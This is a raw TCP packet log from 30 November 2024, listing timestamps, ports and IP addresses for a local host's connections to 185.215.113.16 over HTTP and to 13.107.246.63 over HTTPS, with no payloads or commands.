Nov 30, 2024 04:12:26.253361940 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.253532887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.253573895 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.256619930 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.256762028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.256805897 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.259804964 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.259932995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.259974003 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.263039112 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.263180017 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.263220072 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.266247988 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.266380072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.266424894 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.269429922 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.269536972 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.269577980 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.270652056 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.270730972 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.270777941 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.270932913 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.270946980 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.270956039 CET	49746	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.270961046 CET	443	49746	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.272658110 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.272768021 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.272818089 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.274179935 CET	49752	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.274243116 CET	443	49752	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.274322033 CET	49752	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.274461985 CET	49752	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.274476051 CET	443	49752	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.275898933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.275999069 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.276042938 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.279134035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.279191017 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.279230118 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.282351971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.282464981 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.282506943 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.285594940 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.285696030 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.285734892 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.288863897 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.288911104 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.288966894 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.292054892 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.292155981 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.292211056 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.295259953 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.295367956 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.295412064 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.298547029 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.298654079 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.298692942 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.301776886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.301798105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.301848888 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.304966927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.305159092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.305202007 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.308191061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.308362961 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.308412075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.311439037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.311543941 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.311593056 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.314663887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.314760923 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.314801931 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.317899942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.317996979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.318039894 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.321141005 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.321237087 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.321505070 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.324346066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.324492931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.324542999 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.327572107 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.327632904 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.327670097 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.327776909 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.327843904 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.327883005 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.328097105 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.328097105 CET	49748	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.328114986 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.328119993 CET	443	49748	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.330787897 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.330918074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.330950022 CET	49753	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.330964088 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.331012011 CET	443	49753	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.331064939 CET	49753	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.331213951 CET	49753	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.331229925 CET	443	49753	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.334043026 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.334152937 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.334196091 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.337253094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.381217957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.395797014 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.395845890 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.395895004 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.397073984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.397185087 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.397231102 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.399492979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.399585962 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.399651051 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.401844025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.401958942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.402007103 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.404318094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.404421091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.404463053 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.406698942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.406791925 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.406832933 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.409058094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.409162045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.409202099 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.411535978 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.411647081 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.411689043 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.413636923 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.413736105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.413774967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.415853024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.415958881 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.415997028 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.418101072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.418195963 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.418236971 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.420295954 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.420396090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.420433044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.422477007 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.422569036 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.422600985 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.424627066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.424725056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.424762011 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.425404072 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.425492048 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.425609112 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.425920963 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.425945044 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.425957918 CET	49749	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.425964117 CET	443	49749	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.426760912 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.426846981 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.426887989 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.428872108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.428965092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.429004908 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.429610014 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.429666042 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.429725885 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.429919958 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:26.429934978 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:26.430960894 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.431082964 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.431118965 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.433038950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.433151007 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.433188915 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.435089111 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.435208082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.435256958 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.437146902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.437275887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.437311888 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.439156055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.439281940 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.439321995 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.441163063 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.441308975 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.441353083 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.443172932 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.443295002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.443326950 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.445158005 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.445260048 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.445292950 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.447124958 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.447242022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.447278976 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.448260069 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.448370934 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.448405981 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.449404001 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.449529886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.449567080 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.450521946 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.450639009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.450671911 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.451673985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.451772928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.451813936 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.452807903 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.452930927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.452960968 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.453967094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.454090118 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.454124928 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.455089092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.455200911 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.455235004 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.456223965 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.456288099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.456327915 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.457369089 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.457470894 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.457518101 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.458503008 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.458612919 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.458643913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.459630966 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.459733009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.459768057 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.460777998 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.460889101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.460922003 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.461918116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.461977959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.462008953 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.463056087 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.463174105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.463212967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.464170933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.464298964 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.464330912 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.465321064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.465430021 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.465470076 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.466449022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.466578007 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.466618061 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.467628002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.467756987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.467797041 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.468743086 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.468868971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.468907118 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.469868898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.469989061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.470078945 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.471021891 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.471136093 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.471173048 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.472202063 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.472321987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.472357035 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.473287106 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.473406076 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.473445892 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.474423885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.474541903 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.474584103 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.475584030 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.475702047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.475747108 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.476718903 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.476820946 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.476866007 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.477869034 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.477931023 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.477974892 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.597110987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.597275972 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.597337961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.597690105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.597815990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.597868919 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.598587036 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.598731041 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.598771095 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.599569082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.599668980 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.599708080 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.600522995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.600647926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.600686073 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.601476908 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.601589918 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.601630926 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.602433920 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.602549076 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.602596045 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.603398085 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.603615046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.603650093 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.604412079 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.604477882 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.604535103 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.605298996 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.605432987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.605477095 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.606282949 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.606399059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.606439114 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.607235909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.607367992 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.607454062 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.608190060 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.608275890 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.608319998 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.609154940 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.609239101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.609277964 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.610097885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.610189915 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.610239029 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.611080885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.611176968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.611218929 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.612020016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.612183094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.612215996 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.612997055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.613112926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.613154888 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.613944054 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.614052057 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.614093065 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.614903927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.614988089 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.615022898 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.615858078 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.615969896 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.616007090 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.616837978 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.616939068 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.616975069 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:26.617769003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:26.617888927 CET	80	49745	185.215.113.16	192.168.2.6
